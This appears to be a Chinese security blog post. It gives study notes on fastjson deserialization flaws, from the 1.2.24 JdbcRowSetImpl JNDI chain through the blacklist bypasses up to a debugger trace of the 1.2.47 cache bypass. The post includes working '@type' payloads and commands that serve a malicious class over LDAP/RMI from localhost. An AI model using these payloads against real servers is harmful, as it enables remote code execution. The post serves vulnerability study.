[Java安全]—fastjson漏洞利用

前言

文章会参考很多其他文章的内容,记个笔记。

FASTJSON

fastjson 组件是 阿里巴巴开发的序列化与 反序列化组件。

fastjson 组件 在反序列化不可信数据时会导致远程代码执行。

POJO

POJO是 Plain OrdinaryJava Object 的缩写 ,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类

用 来实现JAVA POJO对象 与JSON 字符串的互相转换,比如:

User user = new User();
user.setUserName("李四");
user.setAge(24);   
String userJson = JSON.toJSONString(user);

将其 序列化的结果为:

{"age":24,"userName":"李四"}

以上将对象转换为 JSON 字符串的操作 称之为 序列化 ,反之,将JSON字符串实例化成 JAVA POJO 对象的操作 即称之为 反序列化

Java 反序列化机制

简单介绍 序列化 和反序列化工具类:

ObjectInputStream和ObjectOutputStream

序列化
User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);

反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());

序列化需要调用ObjectOutputStream的writeObject方法,反序列化需要调用ObjectInputStream的readObject方法。

输出结果:

[Java安全]—fastjson漏洞利用_第1张图片

 也就是执行了以下:

User writeObject
User readObject
User readResolve
李四:M

fastjson 反序列化机制

添加依赖:


    
        com.alibaba
        fastjson
        1.2.23
    

案例1

标准POJO类定义如下,有userName和age两个属性,还有一些构造函数。

package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws Exception{
        System.out.println("setAge");
        this.age = age;
    }
    public void setTest(int i){
        System.out.println("setTest");
    }
public static void test1() throws Exception {
    Student student = new Student();
    student.setAge(18);
    student.setName("snowy");
    System.out.println("====================");
    String jsonString1 = JSON.toJSONString(student);
    System.out.println("====================");
    String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println(jsonString1);
    System.out.println(jsonString2);
}
public static void test2()throws Exception{
    String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
    String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
    System.out.println(JSON.parse(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parse(jsonString2));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString2));
    System.out.println("======================");
}
    public static void main(String[] args) throws Exception {
        test1();
        //test2();
    }
}

结果:

[Java安全]—fastjson漏洞利用_第2张图片

 可以看到, 调用JSON.toJSONString 的话(也就是序列化了),会自动调用对应的 getter 

其次 若是加上  SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上@type 字段 指明当前类

实例2:

接下来 看看test 2,将 JSON字符串转换成对象。

String jsonString1 = "{\"age\":18,\"name\":\"snowy\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"snowy\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

结果:

{"name":"snowy","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"snowy","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"snowy","age":18}
======================

可以看到,不加上 @type 指明类时,时得不到类对象的。

当 加上  @type 字段 的字符串进行传唤后,不仅能得到类对象,  parse 会调用 对应的  setter,

而  parseObject 会调用两者  也就是 setter 和 getter

这个  @type 的方式 也叫做 autotype:

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

set开头的方法要求:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个
  • get开头的方法要求:

方法名长度大于等于4

  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon
     

JdbcRowSetImpl链结合JNDI注入

fastjson<1.2.24

在上边  案例 1 中 自动调用 getter 时,应该可以联想到  Commons-Beanutils中动态调用 getter 的方法。

如 Commons-Beanutils 里   PropertyUtils.getProperty 传入 name,他会自动在前面加上 get,然后将 n 转为大写,即调用 getName。 所以,这里如果传入 outputProperties 时,他会自动调用getOutputProperties ,所以这里也可以用这种方式来调用关键的两个方法 :setDataSourceName()setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

如果 这里的 this.conn == null 会调用 本类的 this.connect()

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

connect() 中 如果  this.getDataSourceName() != null 则会调用 lookup ,从而进行rmi等协议远程加载类攻击。

所以我们先要进入 第二个if 判断,跟进看看这个  getDataSourceName() 的值

 返回了 dataSource ,所以这个值时由  dataSource 决定的。继续跟进dataSource

 是BaseRowSet类的属性,看看哪里能设置此值

 [Java安全]—fastjson漏洞利用_第3张图片

 其中,setDataSourceName()方法 能设置他的值

[Java安全]—fastjson漏洞利用_第4张图片

 继续跟进,看看谁调用了  setDataSourceName() 方法,JdbcRowSetImpl是 BaseRowSet子类

JdbcRowSetImpl.setDataSourceName 调用了 BaseRowSet.setDataSourceName()

[Java安全]—fastjson漏洞利用_第5张图片

 因为 @type + parse 能够调用 setter 方法,我们的思路就是 利用 @type 机制 调用 dataSourceName 和 autoCommit (也就是setDataSourceName()setAutoCommit() ),并对其赋值,调用时 他会自动加上前缀set  这也就调用到了 我们刚刚看见的 lookup  ,从而进行 触发恶意类加载。

实现攻击:

攻击方式 和JNDI的LDAP 方式 一样

python 开本地服务。

python -m http.server 7777

使用 GitHub - RandomRobbieBF/marshalsec-jar:marshalsec-0.0.3-SNAPSHOT-all 编译在 X64 上

搭建 LDAP 服务, 服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999
import com.alibaba.fastjson.JSON;
class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

 还是那个流程, 打到ldap 服务器,然后 本地服务有个恶意类,成功加载!

简单流程概括:

给getDataSourceName()赋值
JdbcRowSetImpl.setDataSourceName ->
BaseRowSet.setDataSourceName->
dataSource = name  

RMI 同样

package fastjson;

import com.alibaba.fastjson.JSON;

class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

可以看其他师傅的文章、

1.2.24漏洞版本修复

在1.2.25 版本,针对了1.2.24版本进行了修复

总结下 1.2.24版本的漏洞产生原因:

  • @type 该关键词的特性会加载任意类,并给提供的输入字段的值进行修复,如果字段有setter、getter、方法会自动调用该方法,进行复制,恢复出整个类。  这个过程会被叫做fastjson 反序列化的过程。不要把这个过程和java的原生的反序列化混为一谈,因为原生的反序列化需要用到readobject 而 fastjson 不需要,而fastjson 相应的 @type 加载任意类 + 符合条件的 setter 和 getter 变成反序列化利用点。
  • 在找到可以调用的setter 和getter之后,从这个可以被触发的setter 和 getter 之后就可以沿着不同的反序列化利用连 进行前进,比如具有一个限制条件的TemplatesImpl利用链,JNDI利用链。
  • 利用链子 最终到达payload 触发点,比如是JNDI 的远程加载而已class文件的实例化操作 或是 调用类中的getObjectInstance方法 ,与TemplatesImpl利用链中的class文件字节码的的实例化操作

修复则是对于 反序列化的触发点进行截断,在1.2.25中修复原理就是针对了 反序列化漏洞触发点进行限制,对于@type 标签进行了一个白名单 + 黑名单的限制。

[Java安全]—fastjson漏洞利用_第6张图片

可以看到 DefaultJSONParser类  这里对 @type 做了一些 判断,原本输入的键值是 @type 的时候,直接对值对应的类进行加载,而在1.2.25中 会将值 传入 checkAutoType 中。

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。

 fastjson 默认 AutoTypeSupport 为false  (开启白名单机制)。

所以我们先来看看 默认 AutoTypeSupport 为False 时的代码。这里我就截取一下 autoTypeSupport  = false 的情况的代码,因为他true 和false 都串联在一起,实在不好阅读,要打断点才能看清楚。

public Class checkAutoType(String typeName, Class expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        //一些固定类型的判断,此处不会对clazz进行赋值,此处省略

        if (!autoTypeSupport) {
            //进行黑名单匹配,匹配中,直接报错退出
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

        //此处省略了当clazz不为null时的处理情况,与expectClass有关
        //但是我们这里输入固定是null,不执行此处代码

        //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        //执行不到此处
        return clazz;
}

可以得出在默认的  AutoTypeSupport为False 时,要求不匹配到黑名单,并且同时必须在白名单内的class 才可以成功加载。

可以看一下默认的黑名单

[Java安全]—fastjson漏洞利用_第7张图片

 一般能用的链子都被 堵死在黑名单里了。正如 JNDI 和 Templates 的两个payload 都属于com.sun  被其匹配。

1.2.25 - 1.2.41绕过。

所以说 默认为false 几乎不行,所以接下来的绕过都是在服务器显性开启  AutoTypeSupport为True

的情况下进行的  (限制还是挺大的,要知道默认为false)

看一下 AutoTypeSupport为True 时的代码逻辑:

public Class checkAutoType(String typeName, Class expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');


        if (autoTypeSupport || expectClass != null) {
            //先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
           //同样进行黑名单匹配,如果匹配成功,则报错推出。
            //需要注意这百年所谓的匹配都是startsWith开头匹配
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //一些固定类型的判断,不会对clazz进行赋值,此处省略

        //不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        //对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
        if (clazz != null) {
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }
        //返回加载的class
        return clazz;
}

可见在 显性关闭白名单的情况下, 我们也需要绕过 黑名单检测,同时他有个加载类的危险性判断, 也就是加载类不能继承Classloader 与 DataSource

看似只能从黑名单和其他能利用的类中绕过,其实 跟进一下类加载  TypeUtils.loadClass 就发现:

[Java安全]—fastjson漏洞利用_第8张图片

public static Class loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        //特殊处理1!
        if (className.charAt(0) == '[') {
            Class componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //特殊处理2!
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
    ...

这里做了两个特殊处理 :

  •  如果时以 ‘ [ ’  开头的花,就会去掉这个符号,然后进行加载 
  • 如果这个类名时以 L 开头  且以  ;  结尾 则会去头去尾然后进行类加载

那么加上 L 开头 ; 结尾,就理所应当能够绕过所有黑名单了。

String  s = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true";
        JSON.parseObject(s);

但是我这里报错显示不支持, 应该是被黑名单匹配到了,不太懂为什么,有知道的师傅可以说一下吗

[Java安全]—fastjson漏洞利用_第9张图片

找了下问题,发现要设置这一条:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

才想起来 他默认 的 setAutoTypeSupport 是 false ,我们要设置为true 才行

[Java安全]—fastjson漏洞利用_第10张图片

 提一嘴,yakit 很好用,不用直接用他的ldap 服务器就可以了

[Java安全]—fastjson漏洞利用_第11张图片

 [Java安全]—fastjson漏洞利用_第12张图片

 加上 L   和  ;  确实是 能够绕过黑名单执行计算器的

1.2.42版本修复

在1.2.42 中 对于 1.2.41版本进行了修复,

[Java安全]—fastjson漏洞利用_第13张图片对于defaultJSonparser  关键是在 ParserConfig 中修改了以下两点:

  •  修改明文黑名单为 黑名单hash
  • 对于传入的类名,删除开头  L  和结尾的 ;

黑名单的hash 形式:

[Java安全]—fastjson漏洞利用_第14张图片

 不知道禁用了什么类

再是对传入的类名 进行校验:

// hash算法常量
        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;
        // 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
        // 可以发现这边只进行了一次删除
        if ((((BASIC
                ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(className.length() - 1))
                * PRIME == 0x9198507b5af98f0L)
        {
            className = className.substring(1, className.length() - 1);
        }
        // 计算处理后的类名的前三个字符的hash
        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            //基于前三个字符的hash结果继续进行hash运算
            //这边一位一位运算比较其实就相当于之前的startswith,开头匹配
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                //将运算结果跟白名单做比对
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //将运算结果跟黑名单做比对
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //之后就是一样的处理,根据类名加载类

可以看到,他第一次 会删除开头的L 和结尾的 ;  然后再进行黑白名单匹配,如果黑名单匹配到了,就无法加载,那么很明显,他只做了一次的删除。那么我们可以双写,然后再绕过这个黑名单。

payload:

String  s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/zSTPFQah\",\"autoCommit\":true}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(s);

[Java安全]—fastjson漏洞利用_第15张图片

1.2.43修复:

43对于42版本 对于双写 绕过进行了修复 

修改了com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)的部分代码

//hash计算基础参数
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            //L开头,;结尾
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                //LL开头
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    //直接爆出异常
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

可见直接对LL 进行了匹配,至此jdbc类 和 templateslmpl无法利用。

1.2.44版本

1.2.44 版本补充了对 loadclass 时 [ 的利用,实际上 payload 时用不了的

[Java安全]—fastjson漏洞利用_第16张图片

1.2.47 通杀payload

分析  1.2.47版本的包:

public Class checkAutoType(String typeName, Class expectClass, int features) {
        //1.typeName为null的情况,略

        //2.typeName太长或太短的情况,略

        //3.替换typeName中$为.,略

        //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
        //这里经过几版的修改,有点不一样了,但是绕不过,也略

        //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
        //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //6.从一个Mapping中获取这个类名的类,我们之后看
        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }
        //7.从反序列化器中获取这个类名的类,我们也之后看
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
           //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
            return clazz;
        }
        // 9. 针对默认白名单开启情况的处理,这里
        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;
                //碰到黑名单就死
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
                //满足白名单可以活,但是白名单默认是空的
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    if (clazz == null) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    }
                    //针对expectCLass的特殊处理,没有expectCLass,不管
                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
        //通过以上全部检查,就可以从这里读取clazz
        if (clazz == null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
        }

        //这里对一些特殊的class进行处理,不重要

       //特性判断等

        return clazz;
    }

仔细阅读源码,主要关键是在第 7 - 8步,如果在反序列化器中找到了类 ,则会返回类。

  • 当我们把 checkAutoType 设置为false 时,就会进入第9步,那么会碰到黑名单,根本无法走到下面
  • 那么我们的思路就是在 checkAutoType 为true 时,在第五步,虽然会跟黑名单进行匹配,但是后面还有一个if  却是可以return出去的,只要满足 这个 TypeUtils.getClassFromMapping !=null  就能跳出报错,而这个getClassFromMapping 是我们侧重的关键部分。
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);

那我们就要想  clazz 哪里可以赋值,在第五步  第六步  第七步三处,可以看到有赋值操作

第五步赋值操作:

[Java安全]—fastjson漏洞利用_第17张图片

 但是 这里要匹配到白名单内,才会赋值clazz 并返回,这是不可能的。

所以我们看到第6、7步

  1. TypeUtils.getClassFromMapping(typeName)
  2. deserializers.findClass(typeName)

getClassFromMapping(typeName)

因为是第六步,先来看看 getClassFromMapping(typename)

跟进

 跟进mappings

 寻找mapping的put方法。 搜索mappings.put

第一个位置 addBaseClassMappings():

[Java安全]—fastjson漏洞利用_第18张图片

 但是这里没有传参,都是一些基础类型,不可控。

第二处:

[Java安全]—fastjson漏洞利用_第19张图片

 这里有几处是 mappings.put 的

public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
        //判断className是否为空,是的话直接返回null
        if(className == null || className.length() == 0){
            return null;
        }
        //判断className是否已经存在于mappings中
        Class clazz = mappings.get(className);
        if(clazz != null){
            //是的话,直接返回
            return clazz;
        }
        //判断className是否是[开头,1.2.44中针对限制的东西就是这个
        if(className.charAt(0) == '['){
            Class componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        //1. 我们需要关注的mappings在这里有
        try{
            //输入的classLoader不为空时
            if(classLoader != null){
                //调用加载器去加载我们给的className
                clazz = classLoader.loadClass(className);
                //!!如果cache为true!!
                if (cache) {
                    //往我们关注的mappings中写入这个className
                    mappings.put(className, clazz);
                }
                return clazz;//返回加载出来的类
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        //2. 在这里也有,但是好像这里有关线程,比较严格。
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                //同样需要输入的cache为true,才有可能修改
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        //3. 这里也有,限制很松
        try{
            //加载类
            clazz = Class.forName(className);
            //直接放入mappings中
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

如果可以控制输入的参数,那么可以控制其 往mappings里添加我们的恶意类。

看看此处的类在哪里被调用了

[Java安全]—fastjson漏洞利用_第20张图片

 事实上 只有TypeUtils 能够看,因为前三都是在checkautoType里的,如果能绕过,早就不需要这个mappings了。

所以跟进这个 TypeUtils看看。

 cache为true ,事实上 这个类会引用自己的loadclass 进行递归,就不看了。看到MiscCodec

[Java安全]—fastjson漏洞利用_第21张图片

 在deserialze函数中发现:

在clazz  == Class.class时,会调用TypeUtils.loadClass 进而传值加载。

[Java安全]—fastjson漏洞利用_第22张图片

 所以我们的思路是让这个clazz 为 Class.class,审计此处代码 要从clazz == Class.class 往上看:

这里贴其他师傅简化过的代码:

public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        JSONLexer lexer = parser.lexer;

        //4. clazz类型等于InetSocketAddress.class的处理。
        //我们需要的clazz必须为Class.class,不进入
        if (clazz == InetSocketAddress.class) {
            ...
        }

        Object objVal;
        //3. 下面这段赋值objVal这个值
        //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
        if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            //当parser.resolveStatus的值为  TypeNameRedirect
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);
            //lexer为json串的下一处解析点的相关数据
             //如果下一处的类型为string
            if (lexer.token() == JSONToken.LITERAL_STRING) {
                //判断解析的下一处的值是否为val,如果不是val,报错退出
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                //移动lexer到下一个解析点
                //举例:"val":(移动到此处->)"xxx"
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);
            //此处获取下一个解析点的值"xxx"赋值到objVal
            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            //当parser.resolveStatus的值不为TypeNameRedirect
            //直接解析下一个解析点到objVal
            objVal = parser.parse();
        }

        String strVal;
        //2. 可以看到strVal是由objVal赋值,继续往上看
        if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;
        } else {
            //不必进入的分支
        }

        if (strVal == null || strVal.length() == 0) {
            return null;
        }

        //省略诸多对于clazz类型判定的不同分支。

        //1. 可以得知,我们的clazz必须为Class.class类型
        if (clazz == Class.class) {
            //我们由这里进来的loadCLass
            //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

经过分析,关注点到 parser.resolveStatus  

  1. 当  parser.resolveStatus == TypeNameRedirect 我们需要json 串中有一个 “val”:“恶意类名”进入if 语句中 污染objVal 再进一步污染strVal,我们又需要clazz 为Class.class 来进入loadClass
  2. 所以json 串的格式为 “@type”="java.lang.Class","val":"恶意类名" 这样
  3. 当parser.resolveStatus != TypeNameRedirect 进入if 进入if判断的false中,可以直接污染objVal。再加上clazz=class类 大概需要一个json串如下:"被屏蔽的type"="java.lang.Class","恶意类名"

至于哪里调用了  MiscCodec.java#deserialze 来进行一系列的放进内存的操作。实际上查看引用会发现很多地方调用了,就比如解析过程中的  com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

[Java安全]—fastjson漏洞利用_第23张图片

既然知道这个 就打上payload 然后跟一下断点

[Java安全]—fastjson漏洞利用_第24张图片

 首先进入解析函数 parseObject()

[Java安全]—fastjson漏洞利用_第25张图片

 跟进,一直跟进

这里会进入 DefaultJSONParser.parser()

[Java安全]—fastjson漏洞利用_第26张图片

 跟进,一系列操作,最后到

[Java安全]—fastjson漏洞利用_第27张图片

 跟进 parseObject()

[Java安全]—fastjson漏洞利用_第28张图片

 这里有我们的三个在乎的点,如下顺序:

public final Object parseObject(final Map object, Object fieldName) {
   ...  
   //先是checkAutoType这个万恶的过滤函数
   clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
   ...
   //ResolveStatus的赋值
   this.setResolveStatus(TypeNameRedirect);
   //污染TypeUtils.getClassFromMapping的触发处
   Object obj = deserializer.deserialze(this, clazz, fieldName);
}

 先是到这一步,checkAutoType

[Java安全]—fastjson漏洞利用_第29张图片

 实际上呢,这就是之前对于@type的判断,我们是可以绕过黑白名单的,因为我们类是 java.lang.Class

[Java安全]—fastjson漏洞利用_第30张图片

跳到下面

[Java安全]—fastjson漏洞利用_第31张图片

 这里会在 mappings里找 java.lang.Class,实际上 mappings里是有的,返回去

[Java安全]—fastjson漏洞利用_第32张图片

 返回到 这里:

[Java安全]—fastjson漏洞利用_第33张图片

 继续往下跳,这里返回了。继续回到parserObject,再者说,这个checkAutoType也是可以直接跳的,没啥东西可看。

[Java安全]—fastjson漏洞利用_第34张图片

 其实重要的在下面,没事,继续往下跳。

[Java安全]—fastjson漏洞利用_第35张图片

 一顿操作跳到了此处:

[Java安全]—fastjson漏洞利用_第36张图片

 这里给  ResolveStatus 赋值了 2 ,说实话,我也不懂什么意思,但估计就是一个分支,继续往下看。应该是不影响的。

最后到这一步:

[Java安全]—fastjson漏洞利用_第37张图片

 既然上面都不影响,那就不管了,可以发现可以进入我们预计希望进入的  com.alibaba.fastjson.serializer.MiscCodec#deserialze

 

 既然满足了条件,我们也不用去想上面的骚操作,直接进入 MiscCodec.deserialze先。

[Java安全]—fastjson漏洞利用_第38张图片

 进来了就跳跳跳,到这里

[Java安全]—fastjson漏洞利用_第39张图片

 前面赋值为2  所以这个if 是满足的,并且 我们设置的val 也被解析出来了,最重要的是,objVal 也被设置成了我们的恶意类名

[Java安全]—fastjson漏洞利用_第40张图片

 strVal 被赋值:

[Java安全]—fastjson漏洞利用_第41张图片

 由于 objVal 是一个String ,进入一系列的class 判断,跳跳跳,最后到这个TypeUtils.loadClass,跟进

[Java安全]—fastjson漏洞利用_第42张图片

 这里设置了 cache 为true  ,很好,继续跟进

[Java安全]—fastjson漏洞利用_第43张图片

 我们跟一下会进入哪个 mappings.get()

第一个没进

 实际上他进入了第二个 mappings.put,将 com.sun.rowset.JdbcRowSetImpl 放进了 mappings了

[Java安全]—fastjson漏洞利用_第44张图片

 在 mappings 里找到了!mappings 也顺其自然添加了多一位数

[Java安全]—fastjson漏洞利用_第45张图片

 现在回头来看这个mapping看到现在,就是放入一些已经加载过了的类,在checkAutoType中就不进行检查来提高速度。

调用栈:

[Java安全]—fastjson漏洞利用_第46张图片

 那么获取一个有恶意类的类似缓存机制的mapping有啥用呢?

